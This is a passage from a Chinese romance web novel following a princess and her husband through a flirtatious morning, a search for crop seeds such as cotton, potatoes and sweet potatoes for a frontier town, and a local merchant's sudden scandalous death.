“不过阿兄,你瞧,小满如今在北疆过得很好,没那么多规矩束缚,夫君也就在身边,怎么也比当年你与嫂嫂要强上些许吧?” “小满也与嫂嫂不同,她可没有 一个混蛋弟弟,只有一个英明神武的小叔叔。我定替你们看好了百里那小子,不让他欺负小满。” 酒坛与瓦片轻碰,发出脆响,像一声回应。 与此同时,诸位司农暂居的庄园内,又是另一番景象。 庭灯摇月,在地上投下斑驳的光影。石桌上杯盘略显凌乱,陆鸣竹早已不胜酒力,直接趴倒在桌上,两颊醺红得不省人事。 封眠离席后,郡主府的筵席便散了,对她这一举动是为了谁心知肚明的几人,皆有些心神杂乱。陆鸣竹一不小心便贪了杯。 顾春温却仍端坐着,指尖轻轻晃动着手中的白瓷酒盏,澄澈的酒液里漾着一弯破碎的月光。他望着那点光影,唇角勾起一抹极淡的、意味不明的弧度,轻声自语:“真可惜……我还什么都没来得及做呢。” 一旁的成立虚听得心惊肉跳,连忙双手合十,对着东西南北胡乱拜了拜:“谢天谢地!顾兄,你可快歇了这份心吧!千万别再想着做点什么了!” 顾春温叹了口气,没应声。有胜算的才会歇不下心思,哪怕那胜算只有微弱毫苗。可也不知为什么,他总是会反复地梦见郡主,反复地想,若那几日他动作快些,是不是就会有不一样的结果。 身侧噗通一声打断了顾春温的思绪,陆鸣竹竟身子一歪,从石凳上滑坐下来,乱七八糟地倒在冰凉的地面,嘴里还含糊不清地嘀咕着“郡主”之类的字眼。 顾春温看着他这副模样,无奈地摇了摇头,放下酒盏,与成立虚一起俯身将烂醉如泥的陆鸣竹搀扶起来。 月色将他的影子拉得很长,显得格外清冷。 月影渐渐沉了下去,旭日东升,明媚日光透过敞开的雕花木窗,悄然探入垂落的锦缎床幔。百里浔舟在睡梦中皱了皱眉,眼睫微颤,感知到落在身上的暖意,忽然从酣沉的梦境中惊醒。 他下意识地伸手探向身侧,触手一片冰凉空荡,显然身旁人已起身多时。 心头猛地一空,他惊坐而起,怔怔地望着那空了一半的床榻,脑海中一片混乱,昨夜发生的一切莫不都是梦吧? 正当他心神不宁之际,门口传来“吱呀”一声轻响,有人走了进来。 百里浔舟一撩床幔,门口的人便似有所觉的望了过来,正是封眠。 百里浔舟几乎是立刻抬手撩开了床幔,一道修丽的身影正迈步进来,闻声便转眸望来,正是封眠。 她今日穿了一身涧石蓝绣如意云纹的软罗襦裙,乌发松松绾起,斜插一支蝴蝶珍珠流苏步摇,俏丽又温柔,像被晨光照亮的一泊湖水般。 对上百里浔舟的视线,她唇角自然弯起,眼中漾开笑意,“你醒啦,快起来洗漱用早膳了。” “外面日头有些晒,今日便在屋中用吧。” 她说着话,走向屏风的方向。 眼见她的身影要被屏风遮挡,百里浔舟立即跳下床,封眠的身影再次出现在他的视野中,他才稍稍安心。 他转身去洗漱,视线还不住地追着封眠跑,看她指挥着侍女们布菜,,从鬓边微散的发丝到裙摆摇曳的弧度,都看得仔细,仿佛生怕一错眼,眼前人就会消失不见。 见封眠面上点了精致的妆,百里浔舟心下掠过一丝遗憾。昨夜他临时抱佛脚翻书来看,其中便有夫君为妻子描眉的小画,他还暗自记下,想着今晨或许可以一试,现下怕是不行了。 但转念又一想,封眠的眉形本就好看,毛绒绒的眉毛十分可爱,也根本不需要他画眉添妆,那涂口脂总是可以的吧…… 思及此,他的眼睛便忍不住盯上了封眠殷红的双唇。唇瓣开合间,偶尔露出编贝般的皓齿。昨夜唇瓣相贴的温软瞬间袭上心头,百里浔舟只觉得一股热意“轰”地冲上脸颊,他慌忙将滚烫的脸埋进浸了冷水的巾帕里,用力蹭了蹭,恶狠狠地让自己清醒一点。 桌案上摆好几样清淡精致的早膳,两个矮凳相对摆放着。 百里浔舟走到近前,极其自然地将凳子拖到了封眠身侧,才一撩衣摆紧挨着她坐下,两人的膝盖不经意地碰在一处。 封眠侧眸瞧他,眼中带着些许讶然好笑,注意到他似是急着与她一同用早膳,身上还穿着雪白的中衣。 百里浔舟顺着封眠的视线看向自己身上,才后知后觉地发现自己还未更衣,耳根微热,却佯装镇定道:“饿了,先吃饭要紧。” “那你多吃一些。”封眠也不拆穿他,夹了枚丸子搁到他碗里。 百里浔舟瞪着碗里出现的雪白丸子,脑袋里反复回响着:她主动给我夹菜了! 他严肃地执箸,珍而重之地夹起丸子放入口中,便是嘉裕帝赐下宫宴上的菜肴,他也不会如此郑重相待了。 “你今早睡得好沉,我起身的动静都没吵醒你。这几日……”封眠顿了顿,咬唇问道:“是不是没睡好?” 百里浔舟哪好意思承认前几夜的辗转反侧,和昨夜做贼偷书的行径?当下便要否认,可目光触及封眠眼中那抹隐隐的歉疚,忽然福至心灵,重重点头,语气甚至带上了一丝不易察觉的委屈:“夜里心事重,睡不着。” 封眠闻言,愧疚之色更浓,低声替小叔叔的“试探”道歉。 “我也不好,若不是我默许,小叔叔也不会这么做……昨夜……”她正歉疚到一半,一只骨节分明的手忽然覆上她的手背,将她整只手都包裹了进去,热烘烘的体温传到她的手背之上。 百里浔舟目光灼灼地看她:“你愿意陪着小叔叔胡闹,不正式因为你心中有我吗?否则何必如此用心地试探我的心意?如今我明了你的心意,还应去谢谢小叔叔才是。” “只是……”他话锋一转,眼中带上几分期待,“之前的日子我确实过得好苦啊,向你讨一个补偿,不过分吧?” 封眠侧眸看他,轻轻点头。 百里浔舟便含笑探身凑近。 晨光透过敞开的门扉,为逐渐靠近的两人勾勒出一圈毛茸茸的金边。 坐在左侧的百里浔舟抻着腰,缓缓地侧首探身,封眠微微低着头,感受到他的靠近,长长的睫羽轻颤着缓缓闭上。感觉到眼前的光被他的身影一点点被遮去,温热的呼吸声渐近,她的心跳不受控制地乱了节拍。 就在呼吸相闻,唇瓣仅差一厘便要贴上之际。 “小百里——!” 院外传来一声惊天巨嗓,如同平地惊雷。 百里浔舟动作一顿,闭上眼深吸了一口气,压下心头翻涌的不愉。 封眠忍不住轻笑出声,伸手轻轻推了推他的肩头:“快去,九哥喊你呢。” 唇上蓦地一热,传来一记温热柔软的触感。 一触即分。 百里浔舟竟逮着空隙凑上来飞快地在她唇上啄了一下,这才不满地低声嘀咕:“我连外袍都还未换,你便急着赶我走?” 他垂着眼,叹息道:“九哥也要来打扰我,我……往日我见母亲晨起时替父亲挑选衣裳,羡慕得很,还想请你也帮我挑一挑,是不是没时间了……” 假的,幼时他不懂母亲为何挑件衣裳都能挑那么久,坐在一旁等候时,总以打瞌睡作结。待到十三四岁的年纪,他便更是不耐烦等父亲,总在屋外遥遥见个礼请个安,便要提着他的宝贝长枪往军营跑。 如今想来,那时果然是年纪小,不懂得父亲有多大的福气。 “那便让九哥在外头等着吧,想来他也没什么急事。” 封眠示意侍女们出去与褚景淇说一声,侍女乖觉地顺手关上了门。 封眠牵着百里浔舟起身,走到黄花梨顶箱立柜前,决定好好替他打扮一下。 他肩宽腰细,个子高挑,是个明晃晃的衣架子。封眠拿起幼时打扮磨喝乐的劲头来,替他挑起了衣裳。 百里浔舟站在身后含笑瞧她,正想上前一步将她搂入怀中,便敏锐捕捉到门扉被推开一条缝隙的动静。 阴魂不散的褚景淇隔着门缝,压低声音问:“小百里,你何时能好啊?” 拳头有些硬了。 第86章 “你最好是有要事。” 百里浔舟黑着一张脸,与褚景淇并肩迈出藏弓院。他一面走,一面小心地理着身上的衣裳。 褚景淇快步跟上他,理直气壮地说:“自然是顶要紧的事,我才会来找你啊!昨日我可没少帮你的忙,请你做件事,也是请得动的吧?” 他说着话,注意到百里浔舟一会儿拽一拽袖口,一会儿理一理领子,一会儿紧一紧腰带,一会儿又摸一摸腰间的玉佩香包,纳闷道:“你衣服上长刺了?” 百里浔舟白他一样,唇角忍不住勾起,问道:“好看吗?” 他一面问,一面又拽了拽镶绣金线祥云的窄袖,指尖自然地掸了掸朱红白玉腰带,其上挂着的白玉玲珑腰佩和靛蓝香包随着动作轻晃起来。 褚景淇:…… 不知道为什么,看他这幅样子,他真想说不好看。 但百里浔舟是个衣裳架子,肩宽腰细,一张脸蛋更是生得俊俏逼人。就有这张脸和这身材在…… “你就是披麻袋也好看啊。”褚景淇答得十分诚恳,送上了自己的最高评价。 然而百里浔舟却不大高兴,眉峰都轻轻蹙了起来。 褚景淇:……什么毛病? “夸你也不行?” 百里浔舟着重强调道:“我是让你看衣裳,别看人,只看衣裳。” 他说着,沉肩挺腰,将一身玄色窄袖锦袍衬得越发挺括写意,领口不经意露出一点水云蓝里衣,很好地中和了玄色锦袍的肃杀之气。 看他如此得瑟炫耀的模样,褚景淇大彻大悟,“哦!你这身衣裳莫不是小表妹……” 百里浔舟唇角勾起。 褚景淇:“……小表妹亲手为你缝制的?” 百里浔舟的脸又垮了下去。 除了香包,他还没收到什么封眠自己缝制的物件,更别提衣裳了。他抬起眼皮瞥一眼褚景淇:“衣裳都有绣娘来缝制,哪需劳动她来?” 褚景淇:呀,猜错了。 他赶紧改口:“原来是小表妹亲自为你挑的衣裳啊!哎呀,平日里可不知道她眼光竟然这般好。我听说她平日里穿的衣裳,都是流萤给她打理好的,因为她最是不耐烦挑选搭配。如今竟然愿意替你挑衣裳,那定然是将你放在了心尖尖上。” 找到了症结所在,褚景淇一下子就变得极其会夸,句句说到了百里浔舟的心坎里。 百里浔舟终于是高兴了舒坦了,语气都柔和了两分:“所以九哥找我是有什么急事?” “你忘了吗?借信鸽给弥荼寄信啊!” 百里浔舟:“……” 他深呼吸,想着毕竟是褚景淇帮他布置得水榭,虽然他放的烟花打断了他与封眠之间绮丽的氛围,虽然他一大早就跑到他府上来,把脑袋钻进卧房里,打扰他与封眠温馨的晨起时光,虽然…… 百里浔舟咬着牙根问:“这事很紧急吗?” “自然紧急!我的信都写好了,可是一刻都等不及了!”褚景淇说罢,颇有心机地补上一句,“况且我还要帮小表妹带消息呢。她说想找些种子,看看有没有能囤来过冬的粮食,再过些时日都要立秋了,接着就是秋播的日子,可不是得争分夺秒吗?” 百里浔舟一听便没话说了,只默默地加快脚步。 凉风习习,卷去了闷热暑意。一间布置清雅的厅堂内,两名侍女站在巨大的手摇扇车之后,默契地拉动着机关,扇叶转动,凉风透过前方堆叠的、冒着丝丝凉气的硕大冰块,被源源不断地送入室内。 茶水入盏的声音响起,折夫人将泡好的热茶推到封眠面前,笑道:“他不敢贸然登王府的门,便写了信来,请我帮忙从中间说上一声。郡主之前要的那些种子,他已尽数带来了,估摸着今日便能道,想托我问一问,郡主殿下是确定会买下的吧?” 封眠有些惊讶,点头道:“自然。” “郡主莫怪,老白整日奔波,淘换新奇的种子,赚得也是个辛苦钱。”折夫人忙解释起来,“时常也会遇着那兴之所至,随口一诺的贵人,事后反悔,那千辛万苦淘换来的种子,便砸在手里了。若不是心下实在纠结忐忑,他绝不会在快到时才寄信过来。” “绝不是不信任郡主的意思。” “我明白。”封眠笑笑,“白老板今日若到了,你让他随时来王府敲门便是,我早早便与门房交代过了,绝对恭恭敬敬请他进门。” “这我便放心了,可算是没帮倒忙。”折夫人夸张地拍拍胸口,两人一齐笑开了。 廊下有脚步声传来,流萤探了探头,脸上笑意压都压不住,“郡主,世子殿下给您传了张字条。” 封眠招手示意她将字条拿进来,展开一面,上面写着褚景淇给弥荼寄信一事,他还特意检查了帮封眠催促种子那一段,确认无误才放信鸽离开。末了,他还学着封眠画了个垂头丧气的小人,显然还因早晨被褚景淇打扰一事郁闷。 看得出来他不精通画工,小人七扭八歪,只能勉强辨认,让封眠想起了在宫里头,与舅舅一起看过的他的画像,险些当着折夫人的面笑出声。 折夫人瞧见她眉眼间藏不住的笑意,了然地抿唇一笑,“昨夜湖边水榭的那场烟花,满城的百姓都瞧见了,大家都在传世子殿下与郡主殿下少年夫妻,情正浓时,真真羡煞旁人。如今看来,可是没传错。” 封眠闻言,颊边微热,将字条细细收入怀中,端起茶盏掩饰性地轻啜一口,才浅笑道:“那烟花是我九哥胡闹放的,倒让大家见笑了。” 不过现下应该不会有人追着她问她与世子和离的事了吧? 她心思微转,想起曾听过的些许旧闻,便顺势道:“说起来,听闻夫人与陈会长,亦是少年结发,风雨同舟数十载,如此琴瑟和鸣,也不知令多少人称羡呢。” 此话一出,折夫人面上那温婉得体的笑容倏然一滞,她指尖轻轻摩挲着杯沿,目光投向厅外杳渺的蓝天,语气变得疏淡而飘忽:“我与他这对少年夫妻啊……不过是世人看着光鲜罢了。” 气氛陡然变得有些凝滞。 她垂下眼眸,唇畔竟挂起了一点笑,却是带着满满的讥诮与倦意,“恩爱二字,最是凉薄,也经不起年岁磋磨、利字当头。这世间,哪有那么多磐石无转的情意。” 说罢,她似乎才惊觉自己的失态,抬首向封眠抱歉一笑:“我失言了。郡主与我不同,世子殿下更非我家那位夫君可比得的,定然是会恩爱不疑。” 封眠有些歉疚:“是我失言,让夫人想起心中不快之事了。” 她正欲寻个话题转圜,却见折夫人身边的一位嬷嬷脚步匆匆地走近,“夫人,白老爷到了。” 折夫人面上挂起自然的笑意,顺势转了话题,“你瞧,说什么来什么,老白这一路定是赶得及了,快快将他请进来吧。” 嬷嬷应了声是,接着又面色为难地低声禀报:“夫人,门外还有位梁姑娘求见。” 折夫人的笑僵在唇畔,眼底透出淡漠冰冷的了然,甚至带着几分厌烦。她显然知晓来者何人,为何而来。 她迅速收敛了外露的情绪,重新挂上一副无懈可击的笑颜,对封眠客气而疏离地笑了笑:“郡主,实在抱歉,有些俗务需得处理,今日不能多留您与白老板了。” “无妨,我正好可以带白老板去见一见诸位司农。”封眠识趣地起身告辞,“夫人处理事务重要,不必送了。” 折夫人微微颔首,目送封眠离开。 封眠随着嬷嬷走出庭院,在经过垂花门时,与一名正低头走进来的女子错身而过。 那女子一身素淡衣裙,身形纤细娇弱,眉眼清秀,带着一股我见犹怜的风致。她不敢抬头,只匆匆一福,便步履轻盈地朝着折夫人所在的内院走去。 封眠脚步未停,心中却已了然。方才折夫人那些“恩爱凉薄”的话语,与眼前这抹娇柔的身影瞬间串联起来, 她心下暗暗叹了口气,这位陈会长,生意做得不如折夫人,怎还好意思攀花折柳? 封眠压下叹息的心绪,在外院遇着了等候的白老板,寒暄两句后,便带上他一道去了庄园。 也不知是与弥荼心有灵犀还是怎样,那边褚景淇的信刚随着信鸽寄出去,封眠这边就在庄园门口遇到了急递铺的士卒,说是百里浔舟刚给她传过字条没多久,急递铺就呈上了弥荼派人送来的种子,百里浔舟便命他们直接送到庄园来。 今天是什么日子,怎么事情全都赶到一起了?还好瞧着事多,其实都只是与种子相关的事,封眠便带着 弥荼送来的种子和种子商人白老板一起去找成立虚。 成立虚正在查看白叠子的生长情况,见封眠过来,略有些为难地主动汇报道:“郡主,现已种下的这些白叠子,估计要入冬之后才能开花了。现下毕竟不是它惯常生长的气候,恐怕品相也不会太好。” “冬日?那就太晚了。”封眠有些发愁,待白叠子开花,还要采摘,晒干脱籽,再弹棉,怎么也得有一两个月的时间准备,到时都快开春了,百姓们哪里还来得及用上白叠子取暖? “郡主殿下,草民有一事想禀。”白老板忽然嗫嚅着开口。 封眠压下心绪,温声道:“白老板但说无妨。” “我此次购入种子最多的一个效果,名叫‘月泉’,那里有一位贵族,独爱白叠子花开时如云似雪之景,广种数百亩,待到九月便可开花了。若是郡主愿意,草民愿再往月泉,询问他是否愿意售卖。” 数百亩?封眠眼眸一亮,拍板道:“好,他愿意卖多少,我们便买多少。你何时出发?我派一队侍卫随从保护你。” 白老板大喜:“今日就行!” 封眠失笑:“您今日刚风尘仆仆到了云中郡,多少歇两日,补足了精神再上路。” 白老板心下一暖,都说郡主殿下仁心爱民,竟连这种小事都关心着,待日后他跑不动了,不如也来云中郡终老好了。 第87章 好运似乎在同一日到来。 封眠在整理弥荼寄来的种子时,从一堆异域花种中辨认出了两种她曾在梦中见过的块茎——土豆与红薯。 她立刻意识到,如果现在抓紧时间试种成功,三四个月后就可以收获一茬,恰好能赶在严冬霜冻之前囤做粮食。能更好地度过一冬不说,还能用切切实实的食物,推广这两种种子。 她再次搬出那套万能的“古籍所见”的说辞,语气却带着不容置疑的决断,命令成立虚几人立即着手播种,并打算再次给弥荼去信多讨要些种子回来,尽量安排每户人家都种上一两亩地。 待所有事宜安排妥当,又将庄园内培育的植株都察看一遍后,日头已悄然西沉。封眠与诸位司农告辞,欢欢喜喜地往庄园外走。 她刚拎着裙摆迈出门槛,便瞧见门外廊柱下一道俊如修竹的身影倚柱而立。 百里浔舟穿的仍是晨起时她亲手为他挑的装扮,只是肩上多了一条玄色薄披风。披风随意地斜落着,末端垂至长靴边,被晚风卷起又落下,平添几分潇洒不羁。 他显然早已捕捉到她由远及近的雀跃脚步声。在她望过去的一瞬间,他的目光便精准地迎了上来。先是眼角弯了弯,带着锐利的眉峰都柔和下来,周身凛冽的气息顿消,随即他才直起身,向前迎了两步,单手利落地解开了颈下的披风系带。 宽大的玄色披风展开,带着他身上的温热气息,不由分说地将封眠兜头罩住,裹得严严实实。 他的披风太大了,完全将封眠整个人裹住。 封眠挣了挣,疑惑道:“今日不冷呀,系披风做什么?” “晚些怕是会下雨,起风后便凉了。”他声音温柔,低声说话时像极了在耳侧呢喃的爱语,“乖,让我系上。” 这么轻轻一哄,封眠的脸颊腾地便红了,两手规规矩矩地在身前交握,任由他用修长的手指为她系好颈前的带子。 松开披风系带时,他微凉的指节顺势轻轻勾了勾封眠的下巴,“你想坐马车回去,还是骑马回去?” 百里浔舟眼底闪着晶晶亮的期待,显然很希望她说骑马回去,这样他就可以与她同骑,光明正大地当街将她拥入怀中。 “我想……”封眠眼底掠过一丝狡黠,刻意拉长了音调,看着百里浔舟的眼睛随着她的声音而期待地逐渐圆睁,才干脆道:“走回去!” 两则选项都被否决,百里浔舟怔了一下才反应过来,想到两人似乎还没并肩在云中郡逛过,原本因期待落空而微微抿平的唇角,又一瞬扬了起来。他垂在身侧的手,带着几分试探和满满的期待,小幅度地、悄悄伸了出去。 下一刻,一只比他小了许多、温软的手便自然而然地放入他的掌心,与他十指交握。 笑意在百里浔舟的脸上漾开,他紧紧回握住,牵着封眠转身走上了云中郡的街头。 天边霞色暖融,长街上华灯初上,人流如织。 路过的百姓瞧见两人,有些欢欢喜喜地问上一声好,有些怕打扰他们二人游玩,只友善地看上一眼便去忙碌自己的事。 封眠瞧瞧左边热腾腾的馄饨摊,又瞧瞧右边五彩斑斓的面具摊,眼睛都快用不过来了。她最爱看这样平凡又热闹的生活常景。 幸好身侧有百里浔舟牵着,护着她不至于贪看街边的热闹而走错路或撞到人。 “阿娘,什么时候才能吃到糖葫芦呀?”路过的小朋友被父亲抱在怀里,探头不高兴地与母亲撒娇。 母亲安抚着:“快了快了,再过几个月天气凉下来,便能吃上糖葫芦了。” 某些记忆忽然苏醒,封眠轻轻拽了拽百里浔舟的手,仰头看他,“说起来,互市那次,你骑着马跑了那么远给我是哪个糖葫芦……世子殿下,你老实交代,那时候是不是就已经在偷偷喜欢我了?” 她很兴奋,觉得自己抓住了百里浔舟的一个秘密。 耳根微不可察地泛起点红晕,百里浔舟却并未回避。他坦然迎上她探寻中带着的目光,点了点头:“是。那时便喜欢了,只是我好似还没太意识到。” 许多事都是凭直觉便去做了,如今想想,姚知远说他是块石头,当真是没有冤枉他。 “三更半夜,翻女子闺房的窗户,你是与谁学的?”封眠语带调侃。 “我们是正经拜过堂的……”百里浔舟小声嘀咕一句,接着反客为主,,目光灼灼地看她:“那你呢?你是什么时候开始喜欢我的?” “我啊……”封眠被他问住,睫毛轻颤,真的开始认真回想。 百里浔舟坦然承认了,然后问你是什么喜欢上我的? 她尚在思索,却听身旁的百里浔舟语气幽幽地提醒:“离开狼骨岭后,那夜你说见到我之后,倒有些喜欢我了,果然是诓我的吧?” 语气重带着一丝不易察觉的委屈和控诉 狼骨岭?那一夜? 封眠努力在记忆中搜寻,终于想起在他们还不甚熟悉的时候,她撞见这位世子半夜躺树上不睡觉的事。 当时她对百里浔舟只有无穷尽的探究疑惑,说什么喜欢啊都是故布迷阵罢了,他该不会信了吧? 封眠飞快地眨了两下眼,开始思索要不然干脆说自己当时是对他一见钟情好了? 见她半晌没有回应,百里浔舟如何能不知道答案?虽然心里早就做好了准备,但此刻知道一直以来都是自己的误会,他还是“危险”地缓缓眯起了眼,有点不甘心。 他真是自作多情了好久。 “好啊你,”他凑近她,声音压得低低的,带着几分咬牙切齿的意味,热气拂过她的耳畔,“果然是骗我的,随口说来哄我的是不是?后来你送我香包,跟着我去拥雪关,也都是哄我的,是不是?” 看着他又是气恼又是委屈的模样,封眠忽然忍不住想笑,又觉得此刻笑出来定然会“火上浇油”,只好努力抿住唇,眼 底却漾满了藏不住的笑意。 “我那时……”她顿了顿,也不好说自己做的一切都是为了探查他有没有谋反的心思,实在没法解释自己的怀疑,万一让他误以为是舅舅不放心他,那就不大妙了。 她眼珠一转,瞧见一个卖酥山冰食的摊子,当即把人拽了过去,眼巴巴地瞧着那淋了蔗浆、堆了果脯的酥山,轻轻拉了拉百里浔舟的衣袖:“阿琢,我想吃这个。” 话题转得生硬极了,百里浔舟无奈瞧她一眼,终究还是没有再继续问,只干脆得拒绝了她吃冰的请求。 “不可。你身体不好,流萤和雾柳都不许你吃冰,你便想来诓我?” 封眠早料到他会如此,立刻有理有据地反驳:“那你说,我是不是好些日子没生病了?” “疫病方好,你便忘了疼?” “那怎么能算呢?那可不是我不注意包养身体才病的。”她踮踮脚,摁住他的肩与他对视,“我肠胃如今都好得很,少吃一点定然不会有事的。” 百里浔舟两手分别握住她的手腕,将她安安稳稳送回地面上,依然拒绝:“不行。” 封眠便仰头看着他,忽然话锋一转,语气变得极为认真:“你不觉得吗?” “什么?”百里浔舟疑惑看她。 “你确实是我的解厄星啊。自从遇见你,好多棘手的麻烦都迎刃而解,连运气都变好了。疫病都拿我没办法,这小小酥山,还在话下吗?” 这番直白的,明显是忽悠人的夸赞,却让百里浔舟的嘴角绷不住了,微微上扬的弧度无论如何也压不下去,最终还是噗嗤笑了出声。 “为了一口冰,你真是什么话都敢说?你说实话,以前难道没有私下与流萤和雾柳说,觉得我克你之类的话吗?”百里浔舟虽然喜欢听她夸他,但还真是不是什么夸奖都能信的。 封眠不自然地扭过脸去,想到与自己近在咫尺的酥山看来是没戏了,嘴角就难过地撇了下去,眉尾都耷拉了下去,满脸写着“我好可怜”。 身前传来一声幽幽的叹气,百里浔舟越过她走到摊前,“来一份……最小的。” 封眠倏地扭头看去,眼眸瞬间亮了起来,盯着百里浔舟端来一碗巴掌大的酥山,并递来一个小小的木勺。 “只准尝一点。” 封眠接过勺子,小心翼翼地挖了指尖大小的一点,放入口中。冰凉的甜意在舌尖化开,她满足地眯起了眼。 “我能尝尝吗?”百里浔舟很有礼貌地询问。 百里浔舟毕竟让她吃上了酥山,她也不能自私独享了。 封眠大方地将木勺和装着酥山的冰碗同时递给百里浔舟,然后便眼睁睁地看着百里浔舟拿过她手中的冰碗,木勺反过来扣住一点点冰,然后端起冰碗仰头…… 大半碗冰径直砸进了他的嘴巴里,百里浔舟被冰得一蹙眉,龇牙咧嘴地把冰咽了下去,转而换上一副淡定神情,将碗递还给更面。 封眠看着碗里只剩一点点的冰,愣住了。 “你……”封眠愣住了。 百里浔舟冠冕堂皇道:“既只能吃一点,剩下的也不好浪费。” 封眠先是气结,却也知道他是为自己好,发不出好,最后笑出声来。 “等明年,明年夏日我的身子定然更好了,到时便让阿雪给我作保,让我自由地吃酥山!” “行行行,明年一定行。”百里浔舟自然巴不得她的身体是越来越好的,老做这种“坏事”,他也是会心虚的。 阳将两人的身影温柔地拉长,在青石板路上投下缠绵的剪影。 第88章 “郡主的意思是,这个红薯可以种到荒地里头?三四个月就能有收成?”老农的声音带着不敢置信的颤抖。 “那我们家能种五亩!反正荒地闲着也是闲着,能种一点是一点。”当家的婶娘一拍身旁汉子的大腿,笑得见牙不见眼,“孩儿他爹有的是力气!” “我们就……就不了吧。家里腾不出那么多人手来……”体弱的新妇无奈地叹息。 粮食向来是重中之重,郡守听闻封眠找到了新的良种,都不待封眠上门,早早地便亲自带着书吏上门询问,大喜之下,他当即命人取出田产册,亲自挑选了几个得力的里正,跟着封眠一起去各家游说。 即便家中没有荒地,只要愿意试种,每户可向官府申领五亩荒地。消息传开,反应却各不相同。 有农户欣然支持封眠,当场画押领走荒坡,也有人摇头离去,觉得这从来没见过的物件,万一白忙活一场,实在不划算,毕竟种地的人还要吃些有油水的口粮才能干得动活,总要将力气留给正经的土地。 忙活整日,最终只登记出去七十多亩荒地。郡守看着册子上的数字,愁眉不展。 封眠却道:“去年冬日可没有这七十亩多出来的粮食。” 郡守一听,确实是这么个理,倒是他贪心了。 “况且种子状态如何,种出来的庄稼品质如何也尚不可知,百姓有不安才是正常的。待到霜冻之前若是有了一波收成,百姓们都愿意种了,还来得及再种下一波种子,待来年春日收获。” “现在我反而更担心,若弥荼送来的粮食不够种七十亩,要如何与他们解释。” 几句话间,郡守的心情跌宕起伏,最后总算是停在一个比较平和的区间。 封眠告辞郡守,刚踏出府衙门口,正准备上马车,忽见三两人群朝着城东方向涌去,嘈杂的人声中,她敏锐地捕捉到了“折夫人”三个字。 她心下一凛,忙拦住一人询问:“出什么事了?” 被拦住的人急急丢下一句:“陈会长出事了!”,便忙不迭地甩开手往前跑。 陈会长?折夫人的夫君? 出事了却没人来报官,莫不是生了急病? 这时又有意一个家丁模样的人连滚爬爬地逆着人流,冲向府衙,面色惨白,声音凄厉地高喊:“不好了!出人命了!我们家老爷……老爷没了!” 封眠听得“人命”二字,心头猛地一跳,立刻对车夫下令:“跟上去看看。” 封眠转身上了马车,行出去没多久,马车便停下了。 车夫:“郡主,前面围得水泄不通。” 封眠撩开车帘向外望了一眼,被人群围拢的中央,一辆装饰华丽的马车孤零零地堵在巷口,拉车的马儿不安地刨着蹄子。 马车帘幕低垂,但自车窗被风卷起的缝隙处,隐约可见一个身着锦袍的中年男子歪倒的身影,姿态僵硬诡异。 “啊!”流萤捂住唇发出一声惊呼,害怕地从门边缩了回去。雾柳环住她的肩,安抚地拍了拍。 围观的百姓议论纷纷,声音里充满了震惊。 “听说是陈会长?上午我还瞧见他好端端地巡店呢,怎么一转眼就……” “是在马车里没的?怎么回事?这也太突然了!” “你没看见吗?刚才有个唱曲儿的姑娘衣衫不整地从车上跳下来,哭着跑没影儿了!” “啧,难道是……马上风?”有人压低了声音揣测着。 “不能吧,折夫人那般貌美能干,陈会长何必……” “不懂了吧?男人嘛,家里头的夫人再漂亮,哪有外头的鲜呐?更何况这陈会长也不是什么一心一意的主,陈府是没通房姨娘,但外室相好可是 一个都没少。” “这……那这死法也太不体面了,让折夫人日后如何……” 封眠眉心紧紧蹙起,四下张望了一番,并没瞧见折夫人的马车,兴许还没得到消息。 百姓们时有些捕风捉影的猜测,或许陈会长另有死因,在仵作查看之前,这些污言秽语若被折夫人听见…… 她正这般想着,得到消息的官差和仵作也赶到了。 官差驱散开过于靠近的人群,仵作提着箱子,面色凝重地掀开车帘钻了进去。 封眠示意马车旁的侍从上前等着听消息。 片刻之后,仵作退了出来,对着为首的官差低声回禀。 侍从听罢,急匆匆来与封眠回禀,他面色古怪,艰难启齿:“禀郡主,经仵作初步勘验,死者面色潮红,瞳孔散大,衣冠不整……系马上风之症猝死。死亡时间约在一炷香内。” “……” 封眠简直不知该以什么心情面对这则消息,她与陈会长一点也不熟,虽是一条生命逝去,但这种死法,她也并同情不起来。反而只想着,若是折夫人知道这个消息…… 就在这时,人群自动分开一条道路。 是折夫人来了。 她显然来得匆忙,发髻不似平日那般精致,几缕青丝垂落颊边,面色苍白得毫无血色,如同一尊易碎的玉瓷。 她走到马车前数步远的地方,停了下来,目光先是落在垂下的车帘上,仿佛能穿透那厚重的布料,看到里面不堪的景象。 她的眼神复杂难辨,有震惊,有茫然,但深处似乎并无多少悲戚,反而更像是一种尘埃落定的冰冷。 她没有哭喊,也没有再上前撩开帘幕查看一番,只是站在原地,身体微不可察的颤抖,如同被秋风卷过的芦苇。 一旁的嬷嬷带着哭腔上前:“夫人……” 折夫人缓缓抬手,止住了她的话。她深吸一口气,转向为首的官差,声音虽然带着一丝不易察觉的沙哑,却异常平静:“有劳各位大人……按规矩办吧。” 说完,她不再多看那马车一眼,决绝地转过身。 在转身的刹那,她的目光与封眠担忧的视线在空中短暂相接。 折夫人的眼中迅速闪过一丝难以言喻的复杂情绪,随即被她垂下眼帘,彻底掩去。 封眠没有上前,心知她此刻更需要独处,便只目视着她挺直背脊,在嬷嬷的搀扶和仆妇的簇拥下,一步一步走远。 “带人先去将围观的百姓遣散了,别让他们看见尸体。”封眠低声吩咐侍从,虽然这样也根本阻止不了消息传出去,但……聊胜于无吧。 天色仿佛感知到人们的心情一般,渐渐晦暗下去。马车行至半途,细密的雨丝便飘洒下来,敲打在车顶上,发出沙沙的轻响,更衬得车厢内一片静谧。 待马车稳稳停在王府门前时,雨幕已织得绵密。 封眠起身掀帘,却见外面等待的人并非先一步下车的流萤和雾柳。 氤氲的水汽中,百里浔舟执伞立在车前。雨水顺着青布伞面汇聚成串,淅淅沥沥地落下,在他周身形成一道朦胧的雨帘,映得挺拔如松竹的身形愈发俊逸。 他微微倾身,将伞面全然罩住车门。封眠抬眼望去,目光恰好撞进他被水汽晕染得格外漆黑温润眼眸里,仿佛敛尽了周遭所有的天光与水色,专注地映出她一个人的身影。 几缕额发被溅入的雨水打湿,随意贴在额角,更添了几分不羁的俊朗。 “慢些。”他朝她伸出手,“别淋到了。” 封眠这才注意到,他这个姿势将自己的肩膀和背身都暴露在雨中,肩头已经洇开一小片深色的水痕, 她忙将手放入他微带湿意的掌心,被他稳稳握住。就在她急急借力步下马车的瞬间,百里浔舟手臂不着痕迹地微微用力,将她往自己身前带了一步,让她完完全全地置身于伞下的庇护之中,隔绝了所有风雨。 “有你这般打伞的吗?后背都湿透了吧?也不让山衣再帮你多打一把伞。”封眠蹙着眉去摸他的后背,刚触及湿漉漉的布料,便被他反手握住了。 